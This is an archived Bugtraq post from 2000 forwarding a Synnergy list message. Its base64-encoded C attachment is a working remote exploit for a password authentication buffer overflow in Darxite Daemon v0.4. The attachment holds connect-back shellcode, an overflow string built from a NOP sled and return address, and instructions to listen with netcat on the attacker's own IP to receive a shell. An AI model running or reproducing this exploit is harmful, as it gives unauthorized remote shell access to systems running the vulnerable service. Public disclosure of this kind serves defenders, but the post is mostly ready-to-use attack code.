[16332] in bugtraq
Fwd: [synnergy-list] Exploit to one of the problems in Darxite
daemon@ATHENA.MIT.EDU (Guido Bakker)
Mon Aug 21 17:22:38 2000
Content-Type: Multipart/Mixed;
boundary="------------Boundary-00=_QRRMJTLUX1U0RV8JX6WZ"
Mime-Version: 1.0
Message-Id: <00082109070201.17770@guidob>
Date: Mon, 21 Aug 2000 09:07:02 +0200
Reply-To: Guido Bakker <guidob@MAINNET.NL>
From: Guido Bakker <guidob@MAINNET.NL>
To: BUGTRAQ@SECURITYFOCUS.COM
--------------Boundary-00=_QRRMJTLUX1U0RV8JX6WZ
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
---------- Forwarded Message ----------
Subject: [synnergy-list] Exploit to one of the problems in Darxite
Date: Sun, 20 Aug 2000 14:55:10 +0200 (CEST)
From: ronald@synnergy.net
To: synnergy-list@list.synnergy.net
Nothing much, could be usefull sometime
Cheers!
-- Scrippie
-------------------------------------------------------
--
Met vriendelijke groet / Kind regards,
| Guido Bakker <guidob@mainnet.nl>
| Network Manager
MainNet BV, http://www.mainnet.nl
Phone: +31 (0)20 6133505
Fax: +31 (0)20 6135640
--------------Boundary-00=_QRRMJTLUX1U0RV8JX6WZ
Content-Type: TEXT/PLAIN;
name="i-was-bored.c"
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment; filename="i-was-bored.c"
LyoNCiAgIERhcnhpdGUgRGFlbW9uIHYwLjQgcGFzc3dvcmQgYXV0aGVudGlj
YXRpb24gb3ZlcmZsb3cNCiAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KICAgZGV0aHktIHdoaXBw
ZWQgdXAgYSBzbWFsbCBhZHZpc29yeSBhYm91dCB0aGlzLCBzaW5jZSBJIHdh
cyBib3JlZCBJIHRvb2sgdXANCiAgIHdyaXRpbmcgYSBzaW1wbGUgZXhwbG9p
dC4NCg0KICAgSSB0cmllZCB0byB1c2Ugc29tZSBlYXN5IGZ1bmN0aW9ucyBm
b3Igc3RyaW5nIGNyZWF0aW9uLCBhbmQgdGhleSBzZWVtIHRvDQogICB3b3Jr
IHByZXR0eSBxdWljayAobm8gbW9yZSBob3VycyBvZiBmcnVzdHJhdGlvbiB3
cml0aW5nIGZvciBsb29wcyA6KS4NCg0KICAgQXMgYWx3YXlzIEkgdXNlZCBt
eSBvd24gc2hlbGxjb2RlLCB5b3Ugc2hvdWxkIGRvIGEgIm5jIC1sIC1wIDI3
MDAyIiBvbiB0aGUNCiAgIG1hY2hpbmUgeW91IGZpbGwgaW4gYXMgInlvdXIg
SVAiIGFuZCBleGVjdXRlIHRoaXMgLSBpZiBpdCB3b3JrcyB5b3UnbGwgaGF2
ZQ0KICAgYSBzaGVsbCBpbiB0aGUgbmV0Y2F0IHNlc3Npb24uDQoNCiAgIExv
dHMgb2YgbG92ZSBnbyBvdXQgdG86IE1hamEsIEhlc3RlciBhbmQgTWFybGVl
bg0KICAgU2hvdXRzIGdvIG91dCB0bzogbXkgZ3JhbmRtYQ0KDQogICB2b2lk
ICp2bGllZ2VyOw0KICAgdm9pZCAqKHVzZUJyYWlucykodm9pZCk7DQoNCiAg
IHZsaWVnZXIgPSBkbG9wZW4oIi9saWIvZmx5YWhoLnNvIiwgUlRMRF9MQVpZ
KTsNCiAgIHVzZUJyYWlucyA9IGRsc3ltKGhhbmRsZSwgImJyYWluQWN0aXZp
dHkiKTsNCiAgIGlmKCF1c2VCcmFpbnMpIHsNCiAgICAgIGZwcmludGYoc3Rk
ZXJyLCAiQnJhaW5zIG5vdCBmb3VuZC4uLlxuIik7DQogICAgICBleGl0KC0x
KTsNCiAgIH0NCiAgIC4uLg0KDQogICBmbHlhaGguYzogSW4gZnVuY3Rpb24g
YG1haW4nOg0KICAgZmx5YWhoLmM6MTQ6IHdhcm5pbmc6IGV4cHJlc3Npb24g
YWx3YXlzIGV2YWx1YXRlcyB0byB0cnVlDQoNCiAgIC0tIFNjcmlwcGllL3Jv
bmFsZEBncmFmaXgubmwNCiovDQoNCi8qIFN5bm5lcmd5Lm5ldCAyMDAwIChj
KSAqLw0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxuZXRpbmV0
L2luLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8c3lz
L3NvY2tldC5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0
cmluZy5oPg0KDQojZGVmaW5lIERBUlhfQlVGCTEwMjQNCiNkZWZpbmUgTlVN
X05PUFMJMTAwMA0KDQppbnQgeGNvbm5lY3QodW5zaWduZWQgbG9uZywgdW5z
aWduZWQgaW50KTsNCnZvaWQgcmVhZEJhbm5lcihpbnQgc29ja2V0KTsNCmNo
YXIgKnN0cmNyZWF0KGNoYXIgKiwgY2hhciAqLCBpbnQpOw0KY2hhciAqc3Ry
YWxpZ24oY2hhciAqLCBpbnQpOw0KY2hhciAqbG9uZ1RvQ2hhcih1bnNpZ25l
ZCBsb25nKTsNCg0KY2hhciBoZWxsY29kZVtdPSANCiJceGViXHg3YVx4NWVc
eDMxXHhjMFx4MzFceGRiXHgzMVx4ZDJceGIwXHg2Nlx4YjNceDAxXHg4ZFx4
NGVceDFjXHhiMlx4MDFceDg5XHg1Nlx4MjBceGIyXHgwNlx4ODlceDU2XHgy
NFx4YjJceDAyXHg4OVx4NTZceDFjXHhjZFx4ODBceDg5XHg0Nlx4MThceDg5
XHgxNlx4NjZceGM3XHg0Nlx4MDJceDY5XHg3YVx4ODlceDQ2XHgxY1x4OGRc
eDA2XHg4OVx4NDZceDIwXHg4MFx4YzJceDBlXHg4OVx4NTZceDI0XHgzMVx4
YzBceDA0XHg2Nlx4ODBceGMzXHgwMlx4OGRceDRlXHgxY1x4Y2RceDgwXHgz
MVx4YzBceDA0XHgzZlx4ODlceGMyXHg4Ylx4NWVceDE4XHgzMVx4YzlceGNk
XHg4MFx4ODlceGQwXHg0MVx4Y2RceDgwXHg4OVx4ZDBceDQxXHhjZFx4ODBc
eDMxXHhjMFx4OGRceDdlXHgwZlx4ODBceGMxXHgwN1x4ZjNceGFhXHgwNFx4
MGJceDhkXHg1ZVx4MDhceDg5XHg1ZVx4MTBceDhkXHg0ZVx4MTBceDMxXHhk
Mlx4Y2RceDgwXHgzMVx4YzBceGZlXHhjMFx4Y2RceDgwXHhlOFx4ODFceGZm
XHhmZlx4ZmZceDQxXHg0MVx4NDJceDQyXHhCQlx4QkJceEJCXHhCQlx4MmZc
eDYyXHg2OVx4NmVceDJmXHg3M1x4NjgiOw0KDQppbnQgbWFpbihpbnQgYXJn
YywgY2hhciAqKmFyZ3YpDQp7DQogICBpbnQgc2Q7DQogICB1bnNpZ25lZCBp
bnQgYWxpZ249MDsNCiAgIHVuc2lnbmVkIGxvbmcgc2lwLCByZXRhZGR5PTB4
YmZmZmY5Mjg7DQogICBjaGFyICppcGxvYywgKmV2aWxzdHJpbmc7DQoNCiAg
IGlmKGFyZ2MgPCA0KSB7DQogICAgICBwcmludGYoIlVzZSBhczogJXMgPHRh
cmdldCBJUD4gPHRhcmdldCBwb3J0PiA8eW91ciBpcD4gW3JldCBhZGR5XSBb
YWxpZ25dDQogICAgICAgICBcbiIsIGFyZ3ZbMF0pOw0KICAgICAgZXhpdCgw
KTsNCiAgIH0NCg0KICAgaWYoKHNpcCA9IGluZXRfYWRkcihhcmd2WzNdKSkg
PT0gLTEpIHsNCiAgICAgIHBlcnJvcigiaW5ldF9hZGRyKCkiKTsNCiAgICAg
IGV4aXQoLTEpOw0KICAgfQ0KDQogICBpZihhcmdjID4gNCkgcmV0YWRkeSA9
IHN0cnRvdWwoYXJndls0XSwgTlVMTCwgMTYpOw0KICAgaWYoYXJnYyA+IDUp
IGFsaWduID0gYXRvaShhcmd2WzVdKTsNCg0KICAgcHJpbnRmKCJVc2luZyBy
ZXR1cm4gYWRkcmVzczogMHglbHhcbiIsIHJldGFkZHkpOw0KICAgcHJpbnRm
KCJVc2luZyBhbGlnbm1lbnQ6ICVkXG4iLCBhbGlnbik7DQoNCiAgIC8qIExv
Y2F0ZSB0aGUgSVAgcG9zaXRpb24gaW4gdGhlIHNoZWxsY29kZSAqLw0KICAg
aXBsb2M9KGNoYXIgKilzdHJjaHIoaGVsbGNvZGUsIDB4QkIpOw0KICAgbWVt
Y3B5KCh2b2lkICopIGlwbG9jLCAodm9pZCAqKSAmc2lwLCA0KTsNCg0KICAg
LyogR2VuZXJhdGUgdGhlIG92ZXJmbG93IHN0cmluZyAqLw0KDQogICBldmls
c3RyaW5nID0gc3RyY3JlYXQoTlVMTCwgIkEiLCBhbGlnbik7DQogICAgICAv
KiBXZSBtZW1vcnkgbGVhayA1IGJ5dGVzIGhlcmUsIGRvbid0IG1ha2UgYSBz
ZXJ2aWNlIG91dCBvZiB0aGlzIDopICovDQogICBldmlsc3RyaW5nID0gc3Ry
Y3JlYXQoZXZpbHN0cmluZywgbG9uZ1RvQ2hhcihyZXRhZGR5KSwgKERBUlhf
QlVGKzgpPj4yKTsNCiAgIGV2aWxzdHJpbmcgPSBzdHJjcmVhdChldmlsc3Ry
aW5nLCAiXHg5MCIsIE5VTV9OT1BTKTsNCiAgIGV2aWxzdHJpbmcgPSBzdHJj
cmVhdChldmlsc3RyaW5nLCBoZWxsY29kZSwgMSk7DQoNCiAgIHNkID0geGNv
bm5lY3QoaW5ldF9hZGRyKGFyZ3ZbMV0pLCBhdG9pKGFyZ3ZbMl0pKTsNCg0K
ICAgcHJpbnRmKCJDb25uZWN0ZWQuLi4gTm93IHNlbmRpbmcgb3ZlcmZsb3cu
Li5cbiIpOw0KDQogICBzZW5kKHNkLCBldmlsc3RyaW5nLCBzdHJsZW4oZXZp
bHN0cmluZykrMSwgMCk7DQoNCiAgIGZyZWUoZXZpbHN0cmluZyk7DQogICBy
ZXR1cm4oMCk7DQp9DQoNCi8qDQogICBSZXR1cm5zIHRoZSBzb2NrZXQgZGVz
Y3JpcHRvciB0byAiaXAiIG9uICJwb3J0Ig0KKi8NCg0KaW50IHhjb25uZWN0
KHVuc2lnbmVkIGxvbmcgaXAsIHVuc2lnbmVkIGludCBwb3J0KQ0Kew0KICAg
c3RydWN0IHNvY2thZGRyX2luIHNhOyAgICAgICAvKiBTb2NrYWRkciAqLw0K
ICAgaW50IHNkOyAgICAgICAgICAgICAgICAgICAgICAvKiBTb2NrZXQgRGVz
Y3JpcHRvciAqLw0KDQogICBpZigoc2QgPSBzb2NrZXQoQUZfSU5FVCwgU09D
S19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiAgICAgIHBlcnJv
cigic29ja2V0KCkiKTsNCiAgICAgIGV4aXQoLTEpOw0KICAgfQ0KDQogICBt
ZW1zZXQoJnNhLCAweDAwLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyX2luKSk7
DQogICBzYS5zaW5fcG9ydD1odG9ucyhwb3J0KTsNCiAgIHNhLnNpbl9hZGRy
LnNfYWRkcj1pcDsNCg0KICAgaWYoY29ubmVjdChzZCwgJnNhLCBzaXplb2Yo
c3RydWN0IHNvY2thZGRyX2luKSkgPT0gLTEpIHsNCiAgICAgIHBlcnJvcigi
Y29ubmVjdCgpIik7DQogICAgICBleGl0KC0xKTsNCiAgIH0NCg0KICAgcmV0
dXJuKHNkKTsNCn0NCg0KLyoNCiAgIFl1bW15IHl1bW15IGZ1bmN0aW9uIGZv
ciBlYXN5IHN0cmluZyBjcmVhdGlvbg0KKi8NCg0KY2hhciAqc3RyY3JlYXQo
Y2hhciAqZGVzdCwgY2hhciAqcGF0dGVybiwgaW50IHJlcGVhdCkNCnsNCiAg
IGNoYXIgKnJldDsNCiAgIHNpemVfdCBwbGVuLCBkbGVuPTA7DQogICBpbnQg
aTsNCg0KICAgaWYoZGVzdCkgZGxlbiA9IHN0cmxlbihkZXN0KTsNCiAgIHBs
ZW4gPSBzdHJsZW4ocGF0dGVybik7DQoNCiAgIHJldCA9IChjaGFyICopcmVh
bGxvYyhkZXN0LCBkbGVuK3JlcGVhdCpwbGVuKzEpOw0KDQogICBmb3IoaT0w
O2k8cmVwZWF0O2krKykgew0KICAgICAgc3RyY2F0KHJldCwgcGF0dGVybik7
DQogICB9DQogICByZXR1cm4ocmV0KTsNCn0NCg0KLyoNCiAgIENvbnZlcnRz
IGEgbG9uZyB0byBhbiBhcnJheSBjb250YWluaW5nIHRoaXMgbG9uZw0KKi8N
Cg0KY2hhciAqbG9uZ1RvQ2hhcih1bnNpZ25lZCBsb25nIGJsYWF0KQ0Kew0K
ICAgdW5zaWduZWQgaW50IGk7DQogICBjaGFyICpyZXQ7DQoNCiAgIHJldCA9
IChjaGFyICopbWFsbG9jKHNpemVvZihsb25nKSsxKTsNCg0KICAgZm9yKGk9
MDtpPHNpemVvZihsb25nKTtpKyspIHsNCiAgICAgIHJldFtpXSA9IChibGFh
dCA+PiAoaTw8MykpICYgMHhmZjsNCiAgIH0NCiAgIHJldFtzaXplb2YobG9u
ZyldID0gMHgwMDsNCg0KICAgcmV0dXJuKHJldCk7DQp9DQo=
--------------Boundary-00=_QRRMJTLUX1U0RV8JX6WZ--
